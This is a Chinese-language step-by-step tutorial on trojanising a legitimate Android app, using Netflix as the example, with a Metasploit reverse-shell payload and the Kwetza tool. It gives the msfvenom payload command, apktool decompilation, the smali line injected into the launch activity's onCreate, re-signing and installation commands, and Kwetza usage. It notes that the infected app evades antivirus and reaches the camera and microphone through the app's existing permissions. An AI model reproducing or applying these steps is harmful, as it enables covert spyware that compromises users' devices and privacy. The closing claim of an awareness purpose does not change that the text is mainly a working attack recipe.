簡介
這篇文章將會描述一種在Android可執行文件中種后門的方法。在接下來的動手操作部分,我將使用到開源工具Kwetza,沒錯作者就是我……
首先我會先介紹使用手工過程實現向現有Android應用植入后門的方式,其后我再介紹并討論Kwetza是如何自動完成這些手工步驟的。
你可以通過Github repo找到Kwetza
案例:感染正常Android應用
我們想要感染一款正常的Android應用程序(APK),當用戶執行了這款看似正常的Android應用,payload將允許攻擊者遠程訪問受影響設備,如網絡攝像頭,位置信息,手機短信等等。當然還有一個大前提便是該應用程序的行為以及功能與正常的Android應用一致,不會引起用戶的警覺。
Step 1:Payload
這部分十分簡單,使用msfvenom就好。我們先來生成一個payload:
msfvenom -p android/meterpreter/reverse_tcp LHOST=10.42.0.211 LPORT=4444 R >beard.apk
現在這款Android應用便能夠在目標設備上為我們提供一個meterpreter會話。對于移動版本殺毒產品,這款payload的表現如何呢?根據我們的分析,在41款殺毒產品中只有17款檢測出beard.apk。額不是百分百的過殺軟還是有些擔心,這個payload并不是才出現并且也沒有什么特殊之處。為何不是百分百的檢測出,我也挺納悶的。
Step 2:減負
對于這一步驟,如果我們著眼于beard.apk就會發現它有些臃腫,所以我們想通過一個單獨的Java Class來完成這個重擔。首先我將逆向beard.apk,并將所有函數都放進一個名為 AssistActivity.java的單獨Java Class中。
如上圖所示,beard.apk包含了多個文檔,這些文檔能讓你的meterpreter玩的更精彩。然而我想把所有的東西都放到一個文件中,這樣會更有意義一點。請注意該payload的Main activity通過調用Payload class的start方法,進而使用其他類文件。我們將這些其他類文件的功能重構到AssistActivity文件。
Step 3: 監測目標
我們有一個單獨的文件來代表我們payload了。接下來我們需要一個目標應用,我選擇了Netflix。對于監測方面我希望在用戶點擊Netflix應用icon圖標的那一刻payload就能夠得到執行。如何實現呢?很簡單,將目光看向AndroidManifest.xml文件,它將告訴我們在應用啟動時都有哪些Activity(即Java class)會被執行。接著在mainfest中搜索“MAIN”和“LAUNCHER”屬性,我們就能得知當系統執行應用時會用到的activity以及相關文件。
btw,為了到這一步,你需要對下載的Netflix APK執行以下命令進行反編譯操作:
apktool d Netflix.apk
Step 4: 繼承
Okay,我們有兩個被標記為可執行的文件
com.netflix.mediaclient.ui.launch.UIWebViewActivity
com.netflix.mediaclient.ui.launch.UIWebViewTabletActivity
沒關系,根據進一步分析代碼。我們發現這兩個類都繼承于一個父類,依次執行所有的啟動代碼等。
如上圖所示,我們看到有兩個入口點都是繼承于“com.netflix.mediaclient.ui.launch.LaunchActivity”。這也意味著當Netflix執行時該activity是最后執行的,這就是我們的注入點。
Step 5: 優化
我們了解了在何處注入我們的惡意代碼。現在就要利用Smali了,目前我們的payload是由兩個Smali文件進行描述的,AssistActivity.smali以及我們使用Apktool反編譯beard.apk時生成的AssistActivity$1.class。接下來將兩個文件移動到com/netflix/mediaclient.ui/launch目錄中。
現在我幫需要更新幾個引用,比如包引用,以及使用了應用程序命名空間的對象引用。基本上對于AssistActivity的引用都應該是這樣的:
Lcom/netflix/mediaclient/ui/launch/AssistActivity
而不是:
Lsensepost/kwetza/AssistActivity
我們需要確認兩個Smali文件都應用了更改。
Step 6: 注入
至此目標目錄中已經有我們的兩個Smali文件,現在我們需要配置目標Activity(Netflix)來調用我們的代碼。這就修改“com.netflix.mediaclient.ui.launch.LaunchActivity”來調用AssistActivity:
AssistActivity.doThis(this);
在Smali中:
invoke-static {p0}, Lcom/netflix/mediaclient/ui/launch/AssistActivity;->doThis(Landroid/content/Context;)V
在進一步討論之前,我們要在目標activity中找一個地方注入我們的代碼。要做到這點,我們需要分析LaunchActivity并且尋找onCreate方法。當關聯對象實例化后,在這個方法中的所有代碼都會被執行,在本例中為LaunchActivity。
如上圖所示,我們可以看到onCreate方法就在LaunchActivity中。如果你注意到行號,我們可以看到行號145到147是沒有代碼的。為了驗證,我們打開相同文件后盯著它的Smali副本,LaunchActivity.smali
.line 146
invoke-static {p0}, Lcom/netflix/mediaclient/ui/launch/AssistActivity;->doThis(Landroid/content/Context;)V
太棒了,我們成功將一行代碼注入到LaunchActivity.smali。當Netflix app運行時將會看到我們的payload(AssistActivity)被執行。
Step 7: 最后一步
接下來我們需要對新修改的版本進行打包,簽名,安裝。
打包新的apk:
apktool b netflixDir
生成一個keystore:
keytool -genkey -v -keystore mykey.keystore -alias alias_name -keyalg RSA -keysize 2048 -validity 10000
對apk進行簽名:
jarsigner -keystore mykey.keystore Netflix.apk alias_name -sigalg MD5withRSA -digestalg SHA1
安裝新的Apk:
adb install Netflix.apk
#Sooooooooo what??
現在我們就有一份全新的Netflix Apk了,他將幫助我們從Android設備上獲得一個meterpreter shell。讓我們來看看殺軟對它的態度:
事實證明,經過感染的Netflix Apk未被殺軟檢測出問題。接下來看看當我們點擊Netflix icon圖標時會發生什么
Okay我們得到meterpreter,但它能夠做些什么事情呢?現在我們嘗試通過Netflix應用被授權的權限來獲取目標設備的攝像頭以及麥克風(注意,我們沒有對Netflix應用本身添加或者刪除需要請求的權限,僅僅只是注入了惡意代碼),由于AndroidManifest.xml沒有請求這個權限,所以不能打開設備攝像頭。但是正常的Netflix應用會請求嗎?
從上圖中我們得知,Netflix應用有向設備請求麥克風訪問權限。
簡單來說我們無須再添加任何權限,就能獲取設備的所有訪問權限。正常的Netflix應用會請求聯網以及麥克風權限,所以我們不需做任何事情就能獲取設備麥克風的訪問權限以及錄音操作。將所有需要的權限都增加完以獲得meterpreter所提供的所有功能,Netflix應用會是個啥樣呢?
不論是Netflix應用還是其他Android應用,meterpreter會話可以一直持續到手機鎖上。為了結束meterpreter會話,用戶需要準確的結束進程以及重啟手機。從最近的測試來看meterpreter會話依舊很穩定。
使用Kwetza自動化完成
以上步驟討論的東西需要一定的安卓逆向知識,并且會消耗你寶貴的時間。接下來這里就是推銷時間了,我們的Kwetza就是一款可以自動化完成上述步驟的好工具。雖然已經有類似的工具backdoor-apk可以完成這項工作,但是Kwetza與現有的工具不同的是能更靈活的權限注入,以及可自定義的payload模版
Step 1: 感染python kwetza.py targetApk.apk LHOST LPORT yes/no
targetApk.apk=你希望感染的APK名稱
LHOST=監聽IP
LPORT=監聽端口
[yes]=“yes” 表示需要請求額外的權限, “no”表示利用應用默認的權限
Step 2: 安裝
這一步驟就是發揮大家創造能力的時候了,現在你有一款包含payload的受感染Apk。該應用的功能看起來都正常,只是目標用戶不知道而已。在下面的截圖中,我們感染Eset的安卓殺毒應用。標準感染(未篡改Manifest中的權限)就能讓你成功訪問用戶的攝像頭以及其他權限。
Kwetza需要兩個重要的依賴,Python的BeautifulSoup以及ApkTool。都非常好設置,而且ApkTool使用默認配置就夠了。
Step 3: 完工
你只需要將你的msf multihandler設置為指定的LHOST和LPORT,并將你的payload設置為“android/meterpreter/reverse_tcp”就ok咯。
結語
通過感染正常的Android應用,我們能夠更直觀的理解設備,用戶以及殺軟廠商對此類攻擊的回應,并提醒他們針對移動領域的攻擊真的是一塊非常吸引人的大蛋糕。